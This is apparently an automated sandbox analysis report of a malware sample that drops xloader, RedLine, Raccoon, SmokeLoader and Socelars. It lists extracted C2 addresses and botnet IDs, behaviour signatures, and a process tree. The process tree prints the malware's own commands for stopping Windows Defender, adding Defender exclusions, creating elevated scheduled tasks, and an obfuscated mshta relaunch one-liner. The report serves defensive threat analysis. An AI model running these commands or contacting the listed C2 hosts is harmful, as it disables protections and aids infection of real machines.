Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

10/11/2021, 14:50

211110-r7nbvaeddr 10

08/11/2021, 16:12

211108-tnmmbahgaj 10

08/11/2021, 15:26

211108-svdsbaccf6 10

08/11/2021, 14:48

211108-r6lfvshdfn 10

Analysis

  • max time kernel
    543s
  • max time network
    1301s
  • platform
    windows11_x64
  • resource
    win11
  • submitted
    08/11/2021, 16:12

General

Malware Config

Extracted

Family

xloader

Version

2.5

Campaign

s0iw

C2

http://www.kyiejenner.com/s0iw/

Decoy

ortopediamodelo.com

orimshirts.store

universecatholicweekly.info

yvettechan.com

sersaudavelsempre.online

face-booking.net

europeanretailgroup.com

umofan.com

roemahbajumuslim.online

joyrosecuisine.net

3dmaker.house

megdb.xyz

stereoshopie.info

gv5rm.com

tdc-trust.com

mcglobal.club

choral.works

onlineconsultantgroup.com

friscopaintandbody.com

midwestii.com

Extracted

Family

socelars

C2

http://www.hhgenice.top/

Extracted

Family

raccoon

Version

1.8.3-hotfix

Botnet

19425a9ea527ab0b3a94d8156a7d2f62d79d3b73

Attributes
  • url4cnc

    http://91.219.236.162/bimboDinotrex

    http://185.163.47.176/bimboDinotrex

    http://193.38.54.238/bimboDinotrex

    http://74.119.192.122/bimboDinotrex

    http://91.219.236.240/bimboDinotrex

    https://t.me/bimboDinotrex

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

20kinstallov

C2

95.217.123.66:57358

Extracted

Family

redline

Botnet

money

C2

94.26.249.132:19205

Extracted

Family

smokeloader

Version

2020

C2

http://nalirou70.top/

http://xacokuo80.top/

rc4.i32
rc4.i32

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 3 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 2 IoCs
  • Suspicious use of NtCreateProcessExOtherParentProcess 31 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 16 IoCs
  • Turns off Windows Defender SpyNet reporting 2 TTPs
  • UAC bypass 3 TTPs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Windows security bypass 2 TTPs
  • Xloader

    Xloader is a rebranded version of Formbook malware.

  • rl_trojan 1 IoCs

    redline stealer.

  • suricata: ET MALWARE FormBook CnC Checkin (GET)

    suricata: ET MALWARE FormBook CnC Checkin (GET)

  • suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

    suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

  • suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload

    suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload

  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 1 IoCs
  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Vidar Stealer 1 IoCs
  • Xloader Payload 3 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 64 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Stops running service(s) 3 TTPs
  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Checks BIOS information in registry 2 TTPs 14 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Drops startup file 4 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 8 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Windows security modification 2 TTPs 15 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 11 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 15 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 8 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
  • Suspicious use of SetThreadContext 11 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 23 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 25 IoCs
  • NSIS installer 8 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 64 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 51 IoCs
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 5 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 5 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 4 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Modifies registry class
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of UnmapMainImage
    PID:3240
    • C:\Users\Admin\AppData\Local\Temp\022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
      "C:\Users\Admin\AppData\Local\Temp\022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1960
      • C:\Users\Admin\Pictures\Adobe Films\Uo4Xo4csCcVg5pgA9hXuY4s5.exe
        "C:\Users\Admin\Pictures\Adobe Films\Uo4Xo4csCcVg5pgA9hXuY4s5.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:4176
      • C:\Users\Admin\Pictures\Adobe Films\E9X6UUspMsNZ0PBOY9yOxppO.exe
        "C:\Users\Admin\Pictures\Adobe Films\E9X6UUspMsNZ0PBOY9yOxppO.exe"
        3⤵
        • Executes dropped EXE
        • Drops startup file
        • Windows security modification
        • Adds Run key to start application
        • Checks whether UAC is enabled
        • Suspicious use of SetThreadContext
        • Drops file in Program Files directory
        • System policy modification
        PID:2240
        • C:\Users\Admin\AppData\Local\Temp\f5ad82cc-0da7-4925-ace6-449de1285ab7\AdvancedRun.exe
          "C:\Users\Admin\AppData\Local\Temp\f5ad82cc-0da7-4925-ace6-449de1285ab7\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\f5ad82cc-0da7-4925-ace6-449de1285ab7\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
          4⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:5992
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\f5ad82cc-0da7-4925-ace6-449de1285ab7\test.bat"
            5⤵
              PID:1348
              • C:\Windows\system32\sc.exe
                sc stop windefend
                6⤵
                  PID:3436
            • C:\Users\Admin\AppData\Local\Temp\85637957-760d-4ea8-8f30-3f73bd2a2def\AdvancedRun.exe
              "C:\Users\Admin\AppData\Local\Temp\85637957-760d-4ea8-8f30-3f73bd2a2def\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\85637957-760d-4ea8-8f30-3f73bd2a2def\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
              4⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:6004
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\85637957-760d-4ea8-8f30-3f73bd2a2def\test.bat"
                5⤵
                  PID:5384
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\E9X6UUspMsNZ0PBOY9yOxppO.exe" -Force
                4⤵
                  PID:964
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\E9X6UUspMsNZ0PBOY9yOxppO.exe" -Force
                  4⤵
                    PID:7008
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\E9X6UUspMsNZ0PBOY9yOxppO.exe" -Force
                    4⤵
                      PID:4036
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
                      4⤵
                        PID:572
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
                        4⤵
                          PID:5356
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\E9X6UUspMsNZ0PBOY9yOxppO.exe" -Force
                          4⤵
                            PID:1476
                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe
                            "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe"
                            4⤵
                            • Executes dropped EXE
                            • Adds Run key to start application
                            • Checks whether UAC is enabled
                            • Suspicious use of SetThreadContext
                            • System policy modification
                            PID:7112
                            • C:\Users\Admin\AppData\Local\Temp\cab06ca9-47cd-4a4e-b59b-eec952673008\AdvancedRun.exe
                              "C:\Users\Admin\AppData\Local\Temp\cab06ca9-47cd-4a4e-b59b-eec952673008\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\cab06ca9-47cd-4a4e-b59b-eec952673008\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                              5⤵
                                PID:4740
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\cab06ca9-47cd-4a4e-b59b-eec952673008\test.bat"
                                  6⤵
                                    PID:3560
                                • C:\Users\Admin\AppData\Local\Temp\553d6df5-2e86-4163-9be4-50cd36f37d52\AdvancedRun.exe
                                  "C:\Users\Admin\AppData\Local\Temp\553d6df5-2e86-4163-9be4-50cd36f37d52\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\553d6df5-2e86-4163-9be4-50cd36f37d52\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                  5⤵
                                    PID:3436
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\553d6df5-2e86-4163-9be4-50cd36f37d52\test.bat"
                                      6⤵
                                        PID:3444
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
                                      5⤵
                                        PID:6500
                                        • C:\Windows\System32\Conhost.exe
                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          6⤵
                                            PID:5028
                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
                                          5⤵
                                            PID:4908
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
                                            5⤵
                                              PID:4644
                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
                                              5⤵
                                                PID:3024
                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
                                                5⤵
                                                  PID:7412
                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
                                                  5⤵
                                                    PID:7752
                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
                                                    5⤵
                                                      PID:7212
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
                                                    4⤵
                                                      PID:860
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\E9X6UUspMsNZ0PBOY9yOxppO.exe" -Force
                                                      4⤵
                                                        PID:3332
                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
                                                        4⤵
                                                          PID:5504
                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
                                                          4⤵
                                                            PID:5720
                                                        • C:\Users\Admin\Pictures\Adobe Films\Dc2cGIo8H66p8bqWXY8d5sy2.exe
                                                          "C:\Users\Admin\Pictures\Adobe Films\Dc2cGIo8H66p8bqWXY8d5sy2.exe"
                                                          3⤵
                                                          • Executes dropped EXE
                                                          • Suspicious use of SetThreadContext
                                                          • Suspicious behavior: MapViewOfSection
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:3324
                                                        • C:\Users\Admin\Pictures\Adobe Films\SuSwq6ZbytaKosolrsdxuaTC.exe
                                                          "C:\Users\Admin\Pictures\Adobe Films\SuSwq6ZbytaKosolrsdxuaTC.exe"
                                                          3⤵
                                                          • Executes dropped EXE
                                                          PID:4620
                                                        • C:\Users\Admin\Pictures\Adobe Films\_oukjeZ_kla3Aiol140mLVmm.exe
                                                          "C:\Users\Admin\Pictures\Adobe Films\_oukjeZ_kla3Aiol140mLVmm.exe"
                                                          3⤵
                                                          • Executes dropped EXE
                                                          PID:5008
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 5008 -s 280
                                                            4⤵
                                                            • Program crash
                                                            • Checks processor information in registry
                                                            • Enumerates system info in registry
                                                            PID:5956
                                                        • C:\Users\Admin\Pictures\Adobe Films\2sLZGnwA8HriCh8TxRV3x7hs.exe
                                                          "C:\Users\Admin\Pictures\Adobe Films\2sLZGnwA8HriCh8TxRV3x7hs.exe"
                                                          3⤵
                                                          • Executes dropped EXE
                                                          PID:1432
                                                        • C:\Users\Admin\Pictures\Adobe Films\WJgWulYLEFinITcgUMZXyIrr.exe
                                                          "C:\Users\Admin\Pictures\Adobe Films\WJgWulYLEFinITcgUMZXyIrr.exe"
                                                          3⤵
                                                          • Executes dropped EXE
                                                          • Drops file in Program Files directory
                                                          PID:1036
                                                          • C:\Program Files (x86)\Company\NewProduct\cutm3.exe
                                                            "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
                                                            4⤵
                                                            • Executes dropped EXE
                                                            PID:1712
                                                        • C:\Users\Admin\Pictures\Adobe Films\DgLcL52s5fuUTHkP9A7_9q1c.exe
                                                          "C:\Users\Admin\Pictures\Adobe Films\DgLcL52s5fuUTHkP9A7_9q1c.exe"
                                                          3⤵
                                                          • Executes dropped EXE
                                                          PID:2768
                                                        • C:\Users\Admin\Pictures\Adobe Films\iJ3HRZcMmv1l2v1Ha5zD_MPf.exe
                                                          "C:\Users\Admin\Pictures\Adobe Films\iJ3HRZcMmv1l2v1Ha5zD_MPf.exe"
                                                          3⤵
                                                          • Executes dropped EXE
                                                          • Drops file in Program Files directory
                                                          PID:2516
                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                            schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
                                                            4⤵
                                                            • Creates scheduled task(s)
                                                            PID:6176
                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                            schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
                                                            4⤵
                                                            • Creates scheduled task(s)
                                                            PID:1624
                                                          • C:\Users\Admin\Documents\JwX8BRq3d9XcCTWFaXd9sbty.exe
                                                            "C:\Users\Admin\Documents\JwX8BRq3d9XcCTWFaXd9sbty.exe"
                                                            4⤵
                                                            • Executes dropped EXE
                                                            PID:1076
                                                            • C:\Users\Admin\Pictures\Adobe Films\wMRHZxmDnN06BIb1svy_pOUH.exe
                                                              "C:\Users\Admin\Pictures\Adobe Films\wMRHZxmDnN06BIb1svy_pOUH.exe"
                                                              5⤵
                                                              • Executes dropped EXE
                                                              PID:5884
                                                            • C:\Users\Admin\Pictures\Adobe Films\q2_jjJTsIUzhmGqicrkPNjYJ.exe
                                                              "C:\Users\Admin\Pictures\Adobe Films\q2_jjJTsIUzhmGqicrkPNjYJ.exe"
                                                              5⤵
                                                                PID:4208
                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4208 -s 276
                                                                  6⤵
                                                                  • Program crash
                                                                  • Checks processor information in registry
                                                                  • Enumerates system info in registry
                                                                  PID:6216
                                                              • C:\Users\Admin\Pictures\Adobe Films\eKDrXNoWQdVqaAJwdWLmVvaZ.exe
                                                                "C:\Users\Admin\Pictures\Adobe Films\eKDrXNoWQdVqaAJwdWLmVvaZ.exe"
                                                                5⤵
                                                                  PID:5952
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 5952 -s 296
                                                                    6⤵
                                                                    • Program crash
                                                                    • Checks processor information in registry
                                                                    • Enumerates system info in registry
                                                                    PID:5900
                                                                • C:\Users\Admin\Pictures\Adobe Films\LHnzFYdxKc_gnQtfUduV_w9I.exe
                                                                  "C:\Users\Admin\Pictures\Adobe Films\LHnzFYdxKc_gnQtfUduV_w9I.exe"
                                                                  5⤵
                                                                    PID:1896
                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1896 -s 1764
                                                                      6⤵
                                                                      • Program crash
                                                                      PID:1904
                                                                  • C:\Users\Admin\Pictures\Adobe Films\vVSV80BeWGNUEHdpalA3gZWd.exe
                                                                    "C:\Users\Admin\Pictures\Adobe Films\vVSV80BeWGNUEHdpalA3gZWd.exe"
                                                                    5⤵
                                                                      PID:5048
                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\vVSV80BeWGNUEHdpalA3gZWd.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\Adobe Films\vVSV80BeWGNUEHdpalA3gZWd.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                        6⤵
                                                                          PID:4524
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\vVSV80BeWGNUEHdpalA3gZWd.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\Pictures\Adobe Films\vVSV80BeWGNUEHdpalA3gZWd.exe" ) do taskkill -f -iM "%~NxM"
                                                                            7⤵
                                                                              PID:5944
                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                taskkill -f -iM "vVSV80BeWGNUEHdpalA3gZWd.exe"
                                                                                8⤵
                                                                                • Kills process with taskkill
                                                                                PID:7360
                                                                        • C:\Users\Admin\Pictures\Adobe Films\taOOmjUk5xD6cNgkYPD6mJIw.exe
                                                                          "C:\Users\Admin\Pictures\Adobe Films\taOOmjUk5xD6cNgkYPD6mJIw.exe"
                                                                          5⤵
                                                                            PID:1556
                                                                          • C:\Users\Admin\Pictures\Adobe Films\DMxOky3fPLdbuAbmlCGtIt1a.exe
                                                                            "C:\Users\Admin\Pictures\Adobe Films\DMxOky3fPLdbuAbmlCGtIt1a.exe"
                                                                            5⤵
                                                                            • Loads dropped DLL
                                                                            PID:5812
                                                                            • C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
                                                                              C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
                                                                              6⤵
                                                                              • Loads dropped DLL
                                                                              • Adds Run key to start application
                                                                              PID:8140
                                                                              • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"
                                                                                7⤵
                                                                                • Loads dropped DLL
                                                                                • Suspicious use of FindShellTrayWindow
                                                                                PID:4240
                                                                                • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                  C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7fffe9d5dec0,0x7fffe9d5ded0,0x7fffe9d5dee0
                                                                                  8⤵
                                                                                  • Loads dropped DLL
                                                                                  PID:4296
                                                                                • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                  "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1724,5456320662593829198,10236297156770314360,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4240_850242167" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1780 /prefetch:2
                                                                                  8⤵
                                                                                  • Loads dropped DLL
                                                                                  PID:1620
                                                                                • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                  "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1724,5456320662593829198,10236297156770314360,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4240_850242167" --mojo-platform-channel-handle=1832 /prefetch:8
                                                                                  8⤵
                                                                                  • Loads dropped DLL
                                                                                  PID:6492
                                                                                • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                  "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1724,5456320662593829198,10236297156770314360,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4240_850242167" --mojo-platform-channel-handle=2120 /prefetch:8
                                                                                  8⤵
                                                                                    PID:8404
                                                                                  • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                    "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1724,5456320662593829198,10236297156770314360,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4240_850242167" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2544 /prefetch:1
                                                                                    8⤵
                                                                                      PID:1452
                                                                                    • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                      "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1724,5456320662593829198,10236297156770314360,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4240_850242167" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2640 /prefetch:1
                                                                                      8⤵
                                                                                        PID:5228
